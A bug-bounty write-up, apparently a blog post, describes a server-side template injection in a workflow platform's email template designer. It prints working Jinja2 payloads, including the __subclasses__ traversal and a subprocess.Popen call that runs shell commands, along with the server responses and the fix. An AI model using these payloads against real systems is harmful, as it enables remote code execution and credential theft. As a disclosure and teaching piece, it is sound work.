August 25, 2026
How a Blind SSTI in an Email Template Engine Led to Remote Code Execution and a $25,000 Bounty
When security engineers audit web applications, template rendering engines are often treated as low-risk utilities. Developers assume…

By T4nv1
3 min read
When security engineers audit web applications, template rendering engines are often treated as low-risk utilities. Developers assume templates merely handle basic string interpolation — formatting a user's name or setting an order confirmation layout. However, when user-controlled input reaches a server-side template engine without strict sandboxing, simple string formatting can escalate into complete server takeover.
While auditing an enterprise workflow automation platform, the primary web application appeared well-defended. Authentication flows relied on OAuth 2.0, API endpoints enforced strict object-level authorization, and standard web vulnerabilities were nowhere to be found.
However, examining the platform's custom "Notification & Email Template Designer" revealed a Server-Side Template Injection (SSTI) that led to full Remote Code Execution (RCE) and a $25,000 bounty award.
Phase 1: Identifying the Template Engine
The application allowed organization administrators to customize email notifications sent to team members. The template builder offered a rich text editor where users could insert dynamic placeholders like {{user.first_name}} or {{order.total_amount}}.
When a template was saved, the front-end issued a request to preview the output:
HTTP
POST /api/v2/templates/render HTTP/1.1
Host: workflow-app.com
Authorization: Bearer eyJhbGci...
Content-Type: application/json
{
"template_id": "tmpl_99182",
"custom_body": "Hello {{user.first_name}}, your request is approved."
}POST /api/v2/templates/render HTTP/1.1
Host: workflow-app.com
Authorization: Bearer eyJhbGci...
Content-Type: application/json
{
"template_id": "tmpl_99182",
"custom_body": "Hello {{user.first_name}}, your request is approved."
}To determine which template engine was running on the backend, mathematical expressions were injected into the custom_body parameter:
JSON
{
"template_id": "tmpl_99182",
"custom_body": "Test expression: ${{7*7}} {{7*7}} <%= 7*7 %> #{7*7}"
}{
"template_id": "tmpl_99182",
"custom_body": "Test expression: ${{7*7}} {{7*7}} <%= 7*7 %> #{7*7}"
}The server rendered the following preview output:
JSON
{
"status": "success",
"rendered_html": "Test expression: ${7*7} 49 <%= 7*7 %> #{7*7}"
}{
"status": "success",
"rendered_html": "Test expression: ${7*7} 49 <%= 7*7 %> #{7*7}"
}The expression {{7*7}} evaluated to 49. This confirmed two critical details:
- The backend was dynamically evaluating expressions inside double curly braces.
- The syntax was characteristic of Python-based template engines such as Jinja2 or Mako, or JavaScript engines like Handlebars / Nunjucks.
Phase 2: Probing Python Object Introspection
Further testing confirmed the backend environment was running Python 3 via Jinja2. In Python template engines, if the environment is not explicitly sandboxed using jinja2.sandbox.SandboxedEnvironment, an attacker can leverage Python's object hierarchy to access built-in modules.
Every object in Python inherits from the base object class. From any standard string or variable inside the template scope, an attacker can traverse up the inheritance tree using __mro__ (Method Resolution Order) and inspect all registered subclasses using __subclasses__().
A payload was submitted to list available classes:
JSON
{
"template_id": "tmpl_99182",
"custom_body": "{{ ''.__class__.__mro__[1].__subclasses__() }}"
}{
"template_id": "tmpl_99182",
"custom_body": "{{ ''.__class__.__mro__[1].__subclasses__() }}"
}The server responded with an array containing hundreds of loaded Python classes. The goal was to locate a class that imports or exposes the os or subprocess module to execute system commands.
[ Injected Expression: {{ ''.__class__.__mro__[1].__subclasses__() }} ]
│
▼
[ Python Object Hierarchy ] ──> Base 'object' Class
│
▼
[ Traversing Subclasses ] ────> Locates <class 'subprocess.Popen'>[ Injected Expression: {{ ''.__class__.__mro__[1].__subclasses__() }} ]
│
▼
[ Python Object Hierarchy ] ──> Base 'object' Class
│
▼
[ Traversing Subclasses ] ────> Locates <class 'subprocess.Popen'>Phase 3: Constructing the RCE Payload
After filtering through the list of returned subclasses, class index 137 corresponded to subprocess.Popen—Python's primary interface for spawning new system processes.
To verify code execution safely without executing disruptive commands, a non-destructive command (id) was passed to subprocess.Popen to retrieve process privileges:
JSON
{
"template_id": "tmpl_99182",
"custom_body": "{{ ''.__class__.__mro__[1].__subclasses__()[137]('id', shell=True, stdout=-1).communicate()[0].strip() }}"
}{
"template_id": "tmpl_99182",
"custom_body": "{{ ''.__class__.__mro__[1].__subclasses__()[137]('id', shell=True, stdout=-1).communicate()[0].strip() }}"
}The application executed the command on the underlying Linux host and returned the process output directly inside the preview panel:
JSON
{
"status": "success",
"rendered_html": "b'uid=1001(appuser) gid=1001(appuser) groups=1001(appuser),27(sudo)'"
}{
"status": "success",
"rendered_html": "b'uid=1001(appuser) gid=1001(appuser) groups=1001(appuser),27(sudo)'"
}An attacker reaching this state possessed full arbitrary code execution capabilities on the underlying application container, enabling internal network pivot, environment variable extraction (including database credentials and cloud API keys), and persistent infrastructure access.
Triage & Resolution
The vulnerability was immediately documented with reproduction steps, emphasizing that testing was restricted to non-destructive command execution (id).
- Vulnerability Class: Remote Code Execution (RCE) via Server-Side Template Injection (SSTI)
- Severity Rating: Critical (CVSS 9.8)
- Time to Triage: 20 Minutes
- Patch Time: 4 Hours
- Final Award: $25,000 Bounty
The engineering team resolved the issue by:
- Migrating all template rendering logic to Jinja2's secure
SandboxedEnvironment, preventing access to dangerous attributes such as__class__,__mro__, and__subclasses__. - Restricting the rendering service to run in an isolated, unprivileged container with read-only file system access.
Critical Lessons for Bug Hunters
- Fuzz Dynamic Formatting Inputs: Whenever an application allows customization of documents, PDFs, or emails, test for template evaluation using engine-specific syntax probes (
{{7*7}},${7*7},<%= 7*7 %>). - Understand Language Runtimes: SSTI payloads differ fundamentally across runtimes. Python relies on class introspection, Node.js often targets
global.process.mainModule.require(), and Java targets Reflection or Expression Language (${EL}). - Report Responsibly: When demonstrating RCE, execute minimal, safe commands like
idorwhoami. Never read sensitive configuration files or execute destructive actions on production environments.